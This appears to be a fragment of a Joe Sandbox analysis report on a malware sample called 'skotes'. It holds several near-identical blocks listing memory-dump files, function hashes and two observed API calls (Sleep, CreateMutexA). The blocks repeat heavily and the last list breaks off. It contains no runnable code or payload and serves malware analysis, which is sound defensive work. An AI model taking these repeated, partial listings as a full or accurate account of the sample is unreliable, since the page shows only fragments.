Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%$Wjd
API String ID: 1464230837-3685223041
Opcode ID: 8d81af7e2a16be5e49d52ef2f1873d84babb756842ef6733828512d7dea0cd58
Instruction ID: d868b9483c5bb66f1705ed9cb26836f63609d24fbc0097f67891c6d8c8f4264d
Opcode Fuzzy Hash: 8d81af7e2a16be5e49d52ef2f1873d84babb756842ef6733828512d7dea0cd58
Instruction Fuzzy Hash: 7E3179B17142089BEB08DBB8DC9877DB776EFC1318F648228E218D73D5C77A99808712

Function 001FA1AE Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970
Wjd, xrefs: 001FA960

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%$Wjd
API String ID: 1464230837-3685223041
Opcode ID: b687244d04b564cae1c0e2678f04e0b480c73cfabf8db5f27f1e311f103788b8
Instruction ID: c8819496f8ae4f8c4ac27209112b890202a0748476835144a53720a3fb814462
Opcode Fuzzy Hash: b687244d04b564cae1c0e2678f04e0b480c73cfabf8db5f27f1e311f103788b8
Instruction Fuzzy Hash: 163148B17142089BEB08DBB8DC9877DB776EFC6314F608228E208973D5C77A59808612

Function 001FA418 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970
Wjd, xrefs: 001FA960

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%$Wjd
API String ID: 1464230837-3685223041
Opcode ID: e4fa60f996ee4a7f4a58c1cf23c30ef82abc6f0384ea43a6b71fe94b3e0fd44f
Instruction ID: 1c7266c3374e62c4df3a33ac2b9c4bf995feca2fd4e5ed71f038379413781930
Opcode Fuzzy Hash: e4fa60f996ee4a7f4a58c1cf23c30ef82abc6f0384ea43a6b71fe94b3e0fd44f
Instruction Fuzzy Hash: BE318EB16102089BEB08EBB8DC9D77DB775EFC1318F648228E218DB3D5C7B959808652

Function 001FA54D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970
Wjd, xrefs: 001FA960

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%$Wjd
API String ID: 1464230837-3685223041
Opcode ID: 109fa6299e47085ac69eeb5649faabe6649007b3df3ac1f5c6da784eee8b0770
Instruction ID: 135c2db5288c272bc5b68fa2c88a4e9ac237a709017f775573dfbe0a0e6b0577
Opcode Fuzzy Hash: 109fa6299e47085ac69eeb5649faabe6649007b3df3ac1f5c6da784eee8b0770
Instruction Fuzzy Hash: B1314AB16102089BEB08DBB8DC9977DB762EFC5318F648228E508DB3D6C77999908712

Function 001FA682 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970
Wjd, xrefs: 001FA960

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089868119.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089897355.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089919716.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089944733.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089964986.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089990711.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2090031544.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%$Wjd
API String ID: 1464230837-3685223041
Opcode ID: b53ac5b6a1b272f2a149e64f27b3a657a8708306788510bfea4047a77d9afb45
Instruction ID: 16d685898f1da9c91efa764f49162c2762f9e1c4abc77948913d48cdea21334e
Opcode Fuzzy Hash: b53ac5b6a1b272f2a149e64f27b3a657a8708306788510bfea4047a77d9afb45
Instruction Fuzzy Hash: F9315DB16102089BEB08EB78DC99B7DB772EFC5314F648228E518D73D6C77A59808752

Function 001F9ADC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001FA963
CreateMutexA.KERNELBASE(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970
Wjd, xrefs: 001FA960

Memory Dump Source

Source File: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2086119771.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086144710.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086254468.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2086281038.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087351096.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087459130.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2087579496.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088001666.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088080735.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088212542.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088237856.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088343530.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088395892.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2088963934.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089011577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089119732.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089148699.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089176793.0000000000420000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089236427.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089263818.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089292532.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089326329.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089363952.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089389951.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089421672.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089450802.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089471986.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089496735.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089544748.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089575738.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089605511.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089635907.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089663380.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089690887.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089718063.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089741034.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089759551.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2089786556.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
